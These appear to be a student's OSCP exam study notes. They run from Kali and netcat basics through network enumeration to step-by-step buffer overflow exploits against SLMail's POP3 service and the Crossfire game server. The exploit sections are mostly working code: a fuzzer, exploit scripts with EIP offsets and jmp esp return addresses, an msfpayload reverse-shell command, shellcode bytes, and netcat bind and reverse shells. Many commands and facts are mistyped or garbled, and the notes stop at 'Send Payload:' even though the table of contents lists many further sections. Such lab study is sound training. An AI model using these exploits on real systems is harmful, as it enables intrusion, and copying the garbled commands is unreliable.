

OSCP – Video Notes

By Matthew Brittain

For anyone studying for the OSCP
Exam, please find this of use.




Table of Contents

Tools for Improving Success:.....	6
SSH:.....	6
HTTP:	6
Scenario 1- Find all cisco subdomains:	6
Other forms of the above command;.....	7
One line can resolve:	7
Now we'll update ping-loop.sh:	8
This works but provides too much output and takes too long:	8
Essential Tools:	8
Netcat Chat:	9
Remote Administration with Bob and Alice:	9
Bind Shell Connection:	9
For Admin:.....	9
Scenario 2 (Reversed Situation):.....	9
Ncat:	9
Wireshark:.....	9
Information Gathering:	10
Active Gathering	10
Passive Gathering	10
Google has operators	10
Google Hacking Database (GHDB):.....	10
Active Information Gathering:	10
DNS Enumeration:	10
Discover information on domains DNS and mail servers	10
Forward DNS Lookup:.....	10
Common host names:	10
Uses following bash script:.....	11
Reverse DNS Lookups:.....	11
DNS Zone Transfers:	11
Improved Script:	11
Bash Script:.....	11

Tools in Kali worth exploring:.....	12
Port Scanning for TCP/UDP:	12
TCP SYN Scanning:	12
UDP Port Scanning:.....	12
Network Implications:	12
Accountability for your traffic:.....	12
Network Sweeping:	12
TCP Connect Scan:	13
NMAP OS and Banner Discovery:	13
SMB Enumeration:.....	13
SMB Null Sessions:.....	13
Enumeration for Linux:.....	13
Nmap SMB NSE Scripts:.....	13
SMTP Enumeration:.....	14
Automate this with bash:	14
SNMP MIB:	14
Vulnerability Scanning with NSE Scripts:	14
OpenVAS (Open source vulnerability scanner):.....	14
Introduction to Buffer Overflow:	15
Simple Vulnerable Program:	15
Fuzzing:.....	15
Replicating Buffer Overflow Script:	16
Controlling EIP:	16
Introducing Shell Code:	17
Bad Characters:.....	17
Redirecting Execution Flow:.....	18
Mona Script:.....	18
In SSH'd Kali:	18
Shell Code:	19
Buffer Overflows: Linux 32bit:	20
More Buffer Overflow 32bit:.....	21
Locating Space for shellcode:.....	21
First stage Shellcode:.....	21

Invoke NASM shell:	21
Locating a Return Address:	22
Generating Shellcode:	22
In one terminal:	23
Using Public Exploits:	23
Cross-compatibility issues:	24
Cross-compile code:	24
VBScript File Transfers:	24
Powershell File Transfers:	24
Privilege Escalation:	25
Linux Scenario:	25
Post Exploitation - File Transfers:	25
TFTP File Transfers:	25
Setting up TFTP directory on Linux:	25
FTP File Transfers:	26
Privilege Escalation Exploits in Windows:	26
Remote Desktop:	26
Abusing Weak Service Permissions on Windows:	27
Abusing Weak Service Permissions on Linux:	28
Client Side Attacks:	28
Malicious Java Applets:	29
Web Application Attacks:	30
SQL Injection:	31
Classic Authentication Bypass:	31
Error Based Database Enumeration:	32
Blind SQL Injection Basics:	33
Bypassing Interface Restrictions:	34
SQL Map:	34
Password Attacks:	35
Crunch:	35
Windows Credential Editor (WCE):	36
Passing the Hash:	36
Password Profiling:	37

Online Password Attacks:.....	37
Medusa:	37
NCrack:	38
Hydra:	38
Let's try an ftp attack:.....	38
Passwords and Hashes:	38
Cracking Hashes:.....	38
LM & NTLM Hashing:.....	39
Port Redirection and Tunnelling (!!Brain Twister!!):	39
Port Forwarding:	39
Fun with SSH Tunnels and Proxies:	40
SSH Dynamic Forwarding:	41
Proxy Chains:.....	41
Configure Proxy Chains:	41
The Metasploit Framework (MSF): (Essential Overview)	41
SNMP Auxiliary Module:.....	42
SMB Auxiliary Module:	42
WEBDAV Auxiliary Module:.....	42
Metasploit Exploits:	43
Metasploit Payloads: (Exploring Additional Payloads):	43
Meterpreter: (Most powerful staged payload, msf has to offer):	43
Meterpreter in Action:	44
Additional Payloads:	44
Binary Payloads:.....	45
The multihandler module:	45
Porting Exploits in MSF:.....	45
Post Exploitation with Metasploit:	46
Antivirus Software Avoidance:.....	48
Packers and Crypters:.....	48
Private Custom Tools:.....	49
Putting it all together – Simulated Penetration Test (This is not publicly available): ...	49
Directory and Password Bruteforce:	49
Target Enumeration and Research:	50

Cracking Hashed and Salted Passwords:	51
Vulnerability Assessment:	51
Exploitation:	51
Privilege Escalation:	52
Client-side attacks:	52
Domain Privilege Escalation via Misconfiguration:	53
Passing the Hash and Tunnelling:	54
Getting System Backdoors:	54
Getting Interactive:.....	55
Breaking out of Citrix:.....	55
Local Privilege Escalation Exploit:	56
Dumping Hashes and Owning the Domain:	57
Exploit misconfigured NFS server:	57

Tools for Improving Success:

```
root@kali:~#man locate
Locating Something:
root@kali:~#updatedb
root@kali:~#locate sbd.exe
root@kali:~#man which (Gives Params)
root@kali:~#which sbd
root@kali:~#man find
root@kali:~#find / -name sbd*
root@kali:~#find / -name sbd* -exec file {} \;
```

DEFAULT LIVE LINUX PASSWORD: toor (root reversed)

SSH:

Secure Shell Service Kali: TCP port: 22

```
root@kali:~#service ssh start (Other option: stop)
root@kali:~#netstat -antp | grep sshd (Checks status)
```

HTTP:

```
root@kali:~#service apache2 start
IP Address given on output, navigate to this on web browser
```

Apache Download/Web Root Folder: /var/www/

```
root@kali:~#echo "Kali Linux rocks" > /var/www/index.html
root@kali:~#service apache2 stop
```

To start and stop services, there's a wrapper in /etc/init.d/ directory

```
root@kali:~#/etc/init.d | ssh start (stop and restart)
```

```
root@kali:~#update-rc.d ssh enable
root@kali:~#update-rc.d apache2 enable (Starts on boot)
```

```
root@kali:~#rcconf
and
root@kali:~#sysv-rc-conf
both simplify and manage boot persistence
```

BASH (Born Again Shell)

Scenario 1- Find all cisco subdomains:

```
root@kali:~#wget www.cisco.com
root@kali:~#more index.html
- Shows a lot of information
root@kali:~#cat index.html | grep "href="
- There's still quite a lot of HTML, so we'll try and cut it down further
```

```
root@kali:~#cat index.html | grep "href=" | cut -d "/" -f3 | more
```

- Now we only want domain names.

```
root@kali:~#cat index.html | grep "href=" | cut -d "/" -f3 | grep "cisco\.com" | more
```

- Still some messy domain names.

```
root@kali:~#cat index.html | grep "href=" | cut -d "/" -f3 | grep "cisco\.com" | cut -d
    "" -f1 | more
```

- Clean output, but there are duplicates

```
root@kali:~#cat index.html | grep "href=" | cut -d "/" -f3 | grep "cisco\.com" | cut -d
    "" -f1 | sort -u
```

- Duplicates removed

Other forms of the above command;

```
root@kali:~#grep -o '[A-Za-z0-9_-]*\.*cisco.com\index.html | sort -u
```

```
root@kali:~#...>text.txt (Writes to file)
```

```
root@kali:~#cat text.txt (To open file)
```

```
root@kali:~#host www.cisco.com
```

```
root@kali:~#host www.cisco.com | grep "has address" | cut -d" " -f4/
```

```
root@kali:~#nano cisco.sh
```

```

    | =>#!/bin/bash
| =>
    | =>for url in $(cat cisco.txt);do
    | =>host $url | grep "has.address" | cut -d" " -f4
    | =>done
```

```
root@kali:~#nano cisco.sh
```

```
root@kali:~#chmod 755 cisco.sh
```

```
root@kali:~#./cisco.sh
```

One line can resolve:

```
root@kali:~#for url in $(grep -o '[A-Za-z0-9_-]*\.*cisco.com index.html | sort -u); do
    host $url | grep "has.address" | cut -d" " -f4; done
```

Scenario 2 - Bash script to ping IP address range:

```
root@kali:~#ifconfig trap0
```

Because the ping command doesn't stop until CTRL+C is pressed, BASH will have to control the number of pings.

```
root@kali:~#man ping (Displays available commands)
```

```
root@kali:~#nano ping-loop.sh
```

```

    | =>#!/bin/bash
| =>
    | =>for ip in $(seq 200 210); do
```



```
|=>echo 192.168.31.$ip
|=>done
```

```
root@kali:~#chmod 755 ping-loop.sh
root@kali:~#./ping-loop.sh
```

Now we'll update ping-loop.sh:

```
|=>#!/bin/bash
|=>
|=>for ip in $(seq 200 210); do
|=>ping -c 1 192.168.31.$ip
|=>done
```

This works but provides too much output and takes too long:

```
|=>#!/bin/bash
|=>
|=>for ip in $(seq 200 210); do
|=>ping -c 1 192.168.31.$ip | grep "bytes from" | cut -d " " -f 4|cut -d ":" -
f1
|=>done
```

```
root@kali:~#./ping-loop.sh
```

It's still slow because it's pinging each individual IP

```
root@kali:~#nano ping-loop.sh
```

```
|=>#!/bin/bash
|=>
|=>for ip in $(seq 200 210); do
|=>ping -c 1 192.168.31.$ip | grep "bytes from" | cut -d " " -f1 4|cut -d ":" -f1
|=>//This & Symbol is the only change
|=>done
```

Should have sped it up significantly

Essential Tools:

Netcat (Reads and Writes UDP/TCP ports):
VM Kali and Windows XP for this exercise

Open up XAMPP control panel application and run mercury in Windows

```
root@kali:~#nc -nv 192.168.30.35 25 (<- Port Number)
- This will report all ports as either open or closed, in this example it's SMTP
|=> HELP Displays SMTP commands
```

|=> The same is done with port 110 (pop3) and 143 (imap2)

Netcat Chat:

Start by downloading and copying nc.exe (Netcat executable) to C:\Windows\ in the Windows VM.

- In cmd type: C:\Users\user>nc -h

We want it to listen on 4444:

- C:\Users\user>nc -nlvp 4444

In the Kali VM:

- root@kali:~#nc -nv 192.168.30.35 4444

|=>Port is open and communication are available

Netcat can transfer both text and binary files:

- root@kali:~#nc -nv 192.168.30.35 4444 </usr/share/windows-binaries/wget.exe>

- C:\Users\user>nc -nlvp 4444 >incoming.exe

|=>Windows won't say if file has been received or not

Remote Administration with Bob and Alice:

Bind Shell Connection:

- Windows user is Bob - Public IP address

- Kali user is Alice - Corporate Network with a Firewall

For Admin:

- root@kali:~#nc -nv a.b.c.d 4444

- C:\Users\user>nc -nlvp 4444 -e cmd.exe

|=>To listen instead change -nlvp to -lvp

- root@kali:~#nc -vn a.b.c.d 4444

Scenario 2 (Reversed Situation):

|=>Can't use bind wall due to security

- C:\Users\user>nc -lvp 4444 -Alice

- root@kali:~#nc -vn 192.168.30.35 4444 -e /bin/bash -Bob

|id ...|

|uname -a|

Ncat:

|=>Netcat doesn't use encryption, and there's no way of limiting connections. Ncat is Netcat's successor.

|=> Download and copy ncat to the Windows directory

- C:\Users\user>ncat -lvp 4444 -e cmd.exe --allow 192.168.30.5 --ssl

- root@kali:~#ncat -v 192.168.30.35 4444 --ssl

|=>Windows prompt to appear

Wireshark:

|=>Capture traffic from lap vpn interface (tap0)

In edit interface settings:

|=>Capture Filter: host 192.168.30.35 and tcp port 4444

- Now connect to ncat as shown above ^^^^ except nothing starting with --
- Now stop capture in Wireshark (No encryption as this is netcat)
- C:\Users\user>ncat -nlvp 4444 -e cmd.exe --ssl
- root@kali:~#ncat -v 192.168.30.35 4444 --ssl

Information Gathering:

The more information the better:

Active Gathering: Using public services to gather information

Passive Gathering: Not coming in direct contact to a person

Google has operators:

|=>site:"Microsoft.com"

|=>Shows lots of webpages and subdomains

|=>The amount of results hints size of organisation

|=>site:"Microsoft.com" -site:www.microsoft.com

|=>Only subdomains

|=>Filetype:ppt - only powerpoint files

|=>As google searches the web it comes across all sorts of end devices

|=>intitle:"VNC Viewer for Java"

|=>inurl:"/control/userimage.html"

|=>inurl:"php?intext CHARACTER SETS, COLLATIONS"

|=>intitle:phpmyadmin

|=>intitle:"-N3T" filetype:php undetectable

Google Hacking Database (GHDB):

www.exploit-db.com - 10 years old, but still really good

Categories to give ideas for google hacks

Active Information Gathering:

- More aggressive attacks
- *Don't use these attacks over the internet, IT IS ILLEGAL!!*

DNS Enumeration:

Discover information on domains DNS and mail servers

- root@kali:~#host -t ns (<-DNS) webaddress.com
- root@kali:~#host -t mx (<-Mail Exchange) webaddress.com
- |=>Returns information on DNS and Mail server
- root@kali:~#host www.webaddress.com
- |=>Returns IP address for web server
- root@kali:~#host www.subdomain.webaddress.com
- |=>Searches for sub and super domains

Forward DNS Lookup:

Common host names:

vw	/a	min	c
,	oxy	vw2	p3

```
ail                jter                3wall                itp
```

Uses following bash script:

```
#!/bin/bash
```

```
for name in $(cat list.txt);do
    host $name.megacorpone | grep "has address" | cut -d" " -f1,4
done
```

- root@kali:~#chmod 755 forward.sh
- root@kali:~#./forward.sh
|=>This bash script is a bruteforce attack, that returns different servers

Reverse DNS Lookups:

- Probe range of newly discovered IP addresses, and get host command to run reverse DNS query.

```
|=>root@kali:~#cat reverse.sh
|=>#!/bin/bash
|=>
|=>for name in $(seq 72 91);do
|=>    host 38.100.195.$ip | grep "megacorp" | cut -d" " -f1,5
|=>done
(72 is the lowest visible IP, and 91 is the highest)
This reveals even more information
```

DNS Zone Transfers:

- root@kali:~#host -t ns megacorpone.com
- root@kali:~#host -l megacorpon.com ns1.megacorpone.com (The 1 represents trying different numbers)

Improved Script:

- root@kali:~#for server in \$(host -t ns megacorpone.com | cut -d" " -f4); do host -l megacorpone.com \$server;done

Bash Script:

```
|=>#!/bin/bash
|=>
|=>if [a-z "$1"], then
|=>    echo "[*] Simple Zone Transfer Script"
|=>    echo "[*] Usage : -$0 <domain name>"
|=>    exit 0
|=>fi
|=>
|=>for server in $(host -t ns $1 | cut -d" " -f4);do
|=>    host -l $1 $server | grep "has address"
|=>done
- root@kali:~#./thisbash.sh megacorpone.com
```

Tools in Kali worth exploring:

- DNS3con
- DNSenum

Port Scanning for TCP/UDP:

TCP connect scan - easiest one - 3way handshake TCP mechanism

Capture on Wireshark:

- Filter: host 192.168.1.1
- Turn off Promiscuous mode
- Disable MAC name resolution

Start Netcat Listener:

- `root@kali:~#nc -nw -w l -z 192.168.1.1 3385-3395`
- For now, ignore ARP packets

TCP SYN Scanning:

If a port is open or SYN-AC will be returned

UDP Port Scanning:

- `root@kali:~#nc -unvv (<-UDP Port Scanning) -w 1 -z 192.168.1.1 160-165`
|=>If UDP is closed ICMP packet is returned

Network Implications:

- Never run network scans blindly
- NMAP has been developed for over a decade
- `root@kali:~#man nmap`
- `root@kali:~#clear`
- `root@kali:~#nmap -help`
- `root@kali:~#cd /usr/share/nmap/`
- `root@kali:~#ls -l`
- `root@kali:~#cat nmap-services | more`

Accountability for your traffic:

- `root@kali:~#cat iptables -counters.sh`
|=>#!/bin/bash
|=>
|=>iptables -Z && iptables -F
|=>iptables -I INPUT (<-OUTPUT also available) -s 192.168.31.220 -j ACCEPT
- `root@kali:~#chmod 755 iptables-counters.sh`
- `root@kali:~#./iptables-counters.sh`
- `root@kali:~#nmap 192.168.31.220` (Shows most popular ports on a machine)
- `root@kali:~#iptables -VN -L` (Amount of generated traffic)

Network Sweeping:

- `root@kali:~#nmap -sn 192.168.1.1-254`
|=>Output is hard to manage
- `root@kali:~#nmap -sn 192.168.1.1-254 -oG (<- Grepable Format) ping-sweep-nmap | cut -d " " -f`

- `root@kali:~#nmap -p (<-Port) 80 192.168.1.1-254 -oG web-sweep.txt`
- `root@kali:~#cat web-sweep.txt`

TCP Connect Scan:

- `root@kali:~#nmap -sT --top-ports 20 192.168.31.200-250 -oG top-port-sweep.txt`
|=>Indicates machines you're up against

NMAP OS and Banner Discovery:

- `-sV` (Banner Grabbing)
- `-O` (Operating System Fingerprinting)
- `-A` (Latitude Checks + Protocol Specific Checks)
- `root@kali:~#nmap -A 192.168.1.1`
|=>Displays open ports and their banners
|=>NSE in NMAP discovered even more information about the machine; however, this sends a high amount of traffic $\approx 100\text{kBp/s}$
- NMAP NSE Scripts:
|=>Located in `/usr/share/nmap/scripts/`

SMB Enumeration:

- `root@kali:~#nmap -p139,445 192.168.31.200-254 --open`
- `root@kali:~#man nbtscan`
- `root@kali:~#nbtscan 192.168.1.1 -R 54`
|=>Shows addresses, and sometimes logged in user

SMB Null Sessions:

- `root@kali:~#rpcclient -V "" 192.168.31.206`
|=>`rpcclient$>srvinfo`
|=>`rpcclient$>enumdomusers` (list of users)
|=>`rpcclient$>getdompwininfo` (pass into)

Enumeration for Linux:

- `root@kali:~#enum4linux -v 192.168.1.206`
|=>username
|=>passwords
|=>share policies
+

Nmap SMB NSE Scripts:

- `root@kali:~#ls -l /usr/share/nmap/scripts/ | grep smb`
- `root@kali:~#nmap -p 139,445 --script smb-enum-users 192.168.31.206`
- `root@kali:~#nmap -p 139,445 --script=smb-check-vulns --script-orgs =unsafe=1 192.168.31.229`
|=>Looks for exploits
|=>SMB is usually not shown to the internet
|=>More internal networks
|=>In event it's external, it is considered a highlight

SMTP Enumeration:

- `root@kali:~#nc -nv 192.168.31.215 25(<-Port)`
|=>Returns server info

Automate this with bash:

- Using info from a lot of passive information gathering
- `root@kali:~#for user in $(cat users.txt);do echp VRFY $user lnc -nv -w 192.168.1.215 25 2>/dev/null |grep ^"250";done (<- 250 is smtp code for a successful result)`
- Now to do so with python:
|=>#!/usr/bin/python
|=>
|=>import socket
|=>import sys
|=>
|=>if len(sys.argv) !=2:
|=> print "Usage: vrfy.py<username>"
|=> sys.exit(0)
|=>
|=>s = socket.socket(socket.AF_INET), socket.SOCKSTREAM)
|=>connect=s.connect(('192.168.1.215', 25))
|=>banner=s.recv(1024)
|=>print result
|=>s.close()

SNMP MIB:

- `root@kali:~#cat mib_values`
- `root@kali:~#onesixtyone`
- `root@kali:~#cat community`
- `root@kali:~#for ip in $(seq 200 254);do echo 192.168.21.$ip;done > ips`
- `root@kali:~#onesixtyone -c community -i ips`
- `root@kali:~#snmpwalk -c public -vl 192.168.1.227`
- `root@kali:~#snmpwalk -c public -vl 192.168.1.227 63...2`

Vulnerability Scanning with NSE Scripts:

- `root@kali:~#nmap -v -p 80 --script http-vuln-cve 2010-2861 192.168.31.210`
- `root@kali:~#nmap -v -p 80 --script all 192.168.31.210`

OpenVAS (Open source vulnerability scanner):

- `root@kali:~#openvas-setup`
|=>Creates a strong admin password
|=>Go to <https://172.0.0.1:9392>
|=>username = admin
|=>pass = what you set it to
|=>This can be used for several scans -> Gives analysis

Introduction to Buffer Overflow:

- Arises when code doesn't message its memory correctly

Simple Vulnerable Program:

```
|=>#include <stdio.h>
|=>int main (int argc, char *argv[])
|=>{
|=>char buffer[64];
|=>if (argc < 2)
|=>{
|=>printf("Syntax error\r\n");
|=>printf("must supply at -least one argument \r\n")
|=>return(1);
|=>}
|=>strcpy(buffer,argv[1]); (<- Copies argument into memory)
|=>return(0);
|=>}
```

- This can be crooked by providing > 64 bytes of memory.
- This program is run, and when 10 'A's are provided nothing exciting happens
- When 80 'A's are provided, the program crashes (Buffer Overflow)
- We will run the above program in a debugger (Ollydbg)

|=>Under registers :

|=>ESP (Extended Stack Pointer) - Top of running processor

|=>EIP (Extended Instruction Pointer) - Holds current address for command given at any time. Controls path of code execution.

|=>Bottom right screen shows the stack memory

|=>Bottom left shows various regions and their memory dumps

|=>F7 will step into a command

|=>A buffer overflow is when too much is given to the memory stack

- 3 main ways of identifying flaws in an application

|=>Source code review if available (Easiest)

|=>Reverse Engineering can be used

|=>Send malformed data to various application inputs - Known as fuzzing

Fuzzing:

- First make sure mercury mail server isn't running

- Install smail server

- **root@kali:~#**nano pop3-pass-fuzz.py

|=>#!/url/bin/python

|=>import socket

|=>

|=>#Create an array of buffer, while incrementing them

|=>

|=>buffer ["A"]

|=>counter = 100

|=>while len(buffer) <= 30:


```

|=> buffer.append("A"*counter)
|=> counter = counter + 200
|=>
|=>for string in buffer:
|=>    print "Fuzzing PASS with %s bytes" % len(string)
|=>    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|=>    connect = s.connect(('192.168.30.35',110))
|=>    s.recv(1024)
|=>    s.send('USER test\r\n')
|=>    s.recv(1024)
|=>    s.send('PASS ' + string + '\r\n')
|=>    s.send('QUIT\r\n')
|=>    s.close()
- root@kali:~#service ssh start
- root@kali:~#rdesktop -u offsec -p Offsec! 192.168.30.35 -f
|=>Start putty and connect to kali through SSH
|=>Make sure smail service is running as admin
|=>Start immunity debugger
|=>File>Attach - Smail.exe file to it
- root@kali:~#python pop3-pass-fuzz.py
|=>Sends larger and larger data to the mail server until it crashes
|=>Both EIP and EDP are overwritten on crash
|=>You can analyse crashed processes

```

Replicating Buffer Overflow Script:

```

- root@kali:~#nano pop3-pass-fuzz.py
|=>#!/usr/bin/python
|=>import socket
|=>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|=>
|=>buffer = 'A'*2700
|=>
|=>try:
|=>    print "\nSending evil buffer..."
|=>    s.connect(('192.168.30.35',110))
|=>    data = s.recv(1024)
|=>    s.send('PASS ' + buffer + '\r\n')
|=>    print "\nDone!"
|=>
|=>except:
|=>    print "Could not connect to POP3!"
- Notice overwritten registers like EIP

```

Controlling EIP:

```

- pattern_create.rb - sends buffer
|=>When run no hex characters repeat themselves

```

- |=>This will generate a necessary string
- Back in python script, at the line:
 - |=>buffer = 'A' * 2700
- Put generated text where 'A' is
 - |=>Save script and exit
- Run the buffer overflow attack again:
 - |=>Notice that the EIP register = 39694438 (HEX) which is 8DJ9 (DEC)
- /usr/share/metasploit-framework/tools/pattern_offset.rb
 - |=>Other ruby script also located here.
 - |=>This will look for location of specific bytes
- /usr/share/metasploit-framework/tools/pattern_offset.rb 39694438
 - |=>Will report location of string
 - |=>In this case it returns 2606
- Now back in python script change:
 - |=>buffer = "A"*2606
- But also add:
 - |=>buffer = "A"*2606 + "B"*4 + "C"*90
 - |=>4 will hopefully override, and 90 to reach the 2700
 - |=>In this case when the attack is run, 4 'B's clearly overtake, with the EIP register becoming 42424242 (HEX), where 4 is 01010011 (BIN)

Introducing Shell Code:

- In Immunity Debugger:
 - |=>Dump ESP register
 - |=>Place shell code where C's have been sent in Hex dump
 - |=>However C's only make up 84 bytes, we need 350 bytes
- root@kali:~#nano smail-pop3.py
 - |=>Change
 - |=>buffer = "A"*2606 + "B"*4 + "C"*(3500-2606-4)
 - |=>2606 is As, and 4 is Bs
 - |=>Save changes, resend payload
- root@kali:~#python smail-pop3.py
 - |=>Follow the ESP register in dump, and notice more C's or 43 (HEX) in the stack
 - |=>Bottom right pane, scroll to the end of the 'C' list 484 bytes available to us.

Bad Characters:

- Don't use in buffer, return address, or shell code
- '00' or NULL
 - |=>Used to terminate operation
- Close the debugger, restart the mail server
- Open the smail-pop3.py
- Add this above buffer variable:
 - |=>badchars = (
 - |=>"\x01\x02...
 - |=>"...\xff")
- Comment out the old buffer, and append this to the new one
 - |=>#buffer = "A"*2606 + "B"*4 + "C"*(3500-2606-4)
 - |=>buffer = "A"*2606 + "B"*4 + badchars

- Save and exit
 - Run the script again
- |=>Follow the ESP in dump
- |=>Notice the lack of 00 and 0A (Bad characters) and make sure those aren't in the shell code
- |=>Now repeat this and notice a lack of 0D.

Redirecting Execution Flow:

- Trying to get ESP characters into the EIP register

Mona Script:

- This is an Immunity Debugger (ID) Script
 - Type into text area at the bottom of ID
- |=>!mona modules
- Look for a module without any bad characters, and no memory protections like ASLR or DEP are present
 - Only .dll that is present is SLMFC.dll
 - No ASLR or DEP makes the exploit straight forward
 - |=>Don't have to bypass security mechanisms.
 - Click on module, and then click 'e' button at the top of the screen.
 - Displays all .dlls loaded with slmail
 - Double click SLMFC.dll
 - Right Click>Search>Command
 - |=>"jmp esp" - none are found
 - Right>Search for>Sequence of commands
 - |=>"push esp" none found either, and this is a manual command
 - |=>Usually at least 1 or 2 results
 - |=>'m' at top of program or modules
 - Only lines with ".text" are executable
 - As there is no ASLR, we are free to use instructions
 - No we'll broaden our search with mona.py

In SSH'd Kali:

- root@kali:~#ruby /usr/share/metasploit-framework/tools/nasm_shell.rb
- |=>Comes to the rescue
- nasm>jmp esp
- |=>00000000 FFE4
- Now run a search for "FFE4"
- |=>!mona find -s "\xff\x4" -m slmfc.dll
- |=>Look at the first address - contains: jmp esp as expected
- Push ->: button to enter expression: "5f4a558f"
- Notice address on left hand side
- Copy this to clipboard
- Restart SLMail and Immunity
- |=>Attach SLMail process
- nasm>exit
- Edit SLMail-pop3.py

- Delete "badchars(...)"
- Address from SL_MFC.dll -v goes here
|=>buffer = "A"*2606 + "\ " + "C" * (3500-2606-4)
- Uses x86 (32bit) architecture as it stored it in little ndn format.
- In immunity put a breakpoint at this address
- In immunity press ->: and paste expression or "5f4a558f"
|=>Sometimes this needs to be done twice to get results
|=>Once found press F2 to place breakpoint
- Save python script and run it
- Immunity pauses at a breakpoint, ESP register points to beginning of C's in the buffer.
|=>Follow in hex dump
|=>Now execute "jmp esp" instruction
|=>Redirects to beginning of capital "C" buffer
|=>Opt code for "INC ESX"
- Restart SLMail and Immunity
|=>Re-attach SLMail.

Shell Code:

- Writing our own shellcode is beyond this course (Probably OSCE)
- We can however use metasploit payloads
- `root@kali:~#msfpayload windows/shell_reverse_tcp LHOST=192.168.30.5 LPORT=443 C (<- Tells to produce in C formatted layout)`
|=>We now have sequence to send reverse shell
- `root@kali:~#msfencode -h`
- Now:
- `root@kali:~#mssfpayload windows/shell_reverse_tcp LHOST=192.168.30.5 LPORT=443 R |msfencode -b '\x00\x0a\x0d' (<- Found these earlier)`
- Now shell gets regenerated and recoded
- First line of output:
|=>[*] x86/shikata_ga_nai succeeded with size 341
|=>This is the default encoder used, since Metasploit 4.10, you need to explicitly define an encoder using the -e flag.
- After the first line, there'll be a buffer with reverse shell and copy it into skeleton exploit.
|=>In slmail-pop3.py
|=>Define "shellcode" as a variable
|=>shellcode=("reverse-shell-goes-here")
- Then:
|=>buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + shellcode + "C" *(3500-2606-4-341)
|=>The 341 is to maintain payload size
- Change just before the shellcode
|=>...\x5f" + "\x90" * 16 + shellcode... 4-341-16)
|=>Save changes
- SET BREAKPOINT ON ESP RETURN IN ID
- Run Python Script
- When ID breaks, push F8 to continue when ready

- |=>Get redirected to NOP slide
- Assemble a NOP to be int3 = to highlight in blue
 - |=>Press F8
- Follow ESP register, and see HEX code decode
- Should be able to get a reverse shell, but put breakpoint
- Set up ncat listener on port 443
- `root@kali:~#nc -lvp 443`
 - |=>Continue the debugger
 - |=>You should now get a shell
- Our shell is running as a service, with windows system privileges
- Run exploit again without debugger attached
- Restart mail service
- Open 2 SSH consoles
 - |=>Right click>duplicate session
 - |=>1 to send the payload, another to listen to the reverse shell
- In 1:
 - |=> `root@kali:~#nc -nlvp 443`
- In 2:
 - |=> `root@kali:~#python smail-pop3.py`
- Now there's a reverse shell
- Notice: Once a shell is closed, the pop3 crashes
 - |=>Output (UNKNOWN) [ip] 110(pop3): Connection Refused
- Need to restart smail
- Because memory crashes caused by this are usually irrecoverable
 - |=>In the lab book look for a solution to this.

Buffer Overflows: Linux 32bit:

- Exploits on Windows and Linux are similar
- `root@kali:~#uname -a`
 - |=>Verifies 32bit -486 kernel necessary for exploit
- Implement IP table rules on TCP port 4444 to make sure kali VM is not vulnerable to attacks.
- We are going to attack an online game called Crossfire, on TCP port 13327, using a bind shell on port 4444
- Make IP rule to deny outside traffic to these ports
- `root@kali:~#iptables -A INPUT -p TCP --destination-port 13327 \! -d 127.0.0.1 -j DROP`
 - |=>Do the same command for port 4444
- Use evans debugger (edb) to run crossfire
- `root@kali:~#edb --run /usr/games/crossfire/bin/crossfire`
- GUI will appear in paused state, hit run button two times, and allow program to continue executing
- Now that it's running, use proof of concept code, found on exploit database to crash crossfire
- Python Script to generate buffer:
 - |=>#!/usr/bin/python
 - |=>import socket

- ```

|=>Host =127.0.0.1
|=>crash="\x41" * 4379
|=>buffer="\x11(setup sound " + crash + "\x90\x003#")
|=>s = socket.socket(Socket.AF_INET, socket.SOCK_STREAM)
|=>print "[*]Sending evil buffer..."
|=>s.connect((host, 13327))
|=>s.send(buffer)
|=>data = s.recv(1024)
|=>print data
|=>s.close()
|=>print "[*]Payload Sent!"

```
- root@kali:~#python crossfire-poc.py
  - Debugger should produce error message
  - \*Double click EIP register to see values and contents
  - Using same method, discover which 4 bytes override EIP
  - EIP register is overwritten by bytes from the 4368<sup>th</sup> position in our buffer
  - Modify python script to include data
  - Change following line to:  

```
|=>crash = "\x41" * 4368 + "\x42" * 4 + "C" * 7 (<- 7 is to total at 4379, which is the original payload)
```
  - Save script
  - Restart crossfire  

```
|=>Press run twice
```
  - root@kali:~#python crossfire-poc.py  

```
|=>Error message shows containing: 42424242 (AS EXPECTED!!)
```

### More Buffer Overflow 32bit:

#### Locating Space for shellcode:

- EAX register point to beginning of our buffer
- This isn't ideal because at the beginning of the buffer, the setup sound HEX values get converted  

```
|=>So avoid EAX!!
```
- EBX, ECX, EDX, AND EBP, point to invalid addresses in memory
- ESP points to end of our buffer or last 7 C's.

#### First stage Shellcode:

- First jump to ESP register to write first stage shellcode to align EAX register so it points into beginning of buffer of A's then jump to it.
- Because setup sound is 12 bytes long, it will add 12 bytes to EAX register so it point to the beginning of our A's.

#### Invoke NASM shell:

- root@kali:~#ruby /usr/share/metasploit-framework/tools/nasm-shell.rb
- nasm>add eax,12
- nasm>jmp eax
- HEX: 0A, 0D, and 20 are null bytes  

```
|=>None are in our code, we can copy them into our script
```
- nasm>exit

- `root@kali:~#nano crossfire-poc.py`  
`|=>#Under the following line:`  
`|=>import socket`  
`|=>PASTE HERE`
- `nasm>add eax, 12`
- `00000000 83C00C            add eax, byte +0xc`
- `nasm>jmp eax`
- `00000000 FFE0    jmp eax`
- `nasm>exit`
- Replace C's with:
- `Crash = "\x41" * 4368 + "\x42" * 4 + "\x83\xC0\x0C\xFF\xE0" + "\x90\x90"`

### Locating a Return Address:

- Crossfire doesn't support ASLR
- Use `jmp esp` from inside the python script  
`|=>Evans debugger plug-in opcode searcher`  
`|=>When app is in crashed state`
- In "What to search for?" put `ESP -> EIP`  
`|=>Hit "Find"`
- Look for "`jmp esp`" and copy address
- In `crossfire-poc.py`  
`|=>host = "127.0.0.1"`  
`|=>#return address 0x08134597`  
`|=>ret = "\x97\x45\x13\x08"`  
`|=>#Change this line:`  
`|=>crash = "\x41" * 4368 + ret + "\x83\xC0\x0C\xFF\xE0" + "\x90\x90"`
- Close ED and restart
- Before running - right click>go to address>paste `0x08134597`>go>double click on address to place the breakpoint.
- Run the debugger and resend payload\
- Follow ESP in dump and see first stage shellcode  
`|=>Highlight 83C00CFFE0 and press F8`  
`|=>Redirected to add EAX, 12 and jmp eax instructions`
- EAX currently points to setup sound beginning
- Double click to move to next breakpoint so the `add EAX, 12` and `jmp eax` instruction is implemented.
- Now follow EAX in dump and notice it points to beginning of capital A's.
- Now when F8 is pressed the `jmp eax` will redirect code to the beginning of the A's in the buffer.

### Generating Shellcode:

- Send Payload:
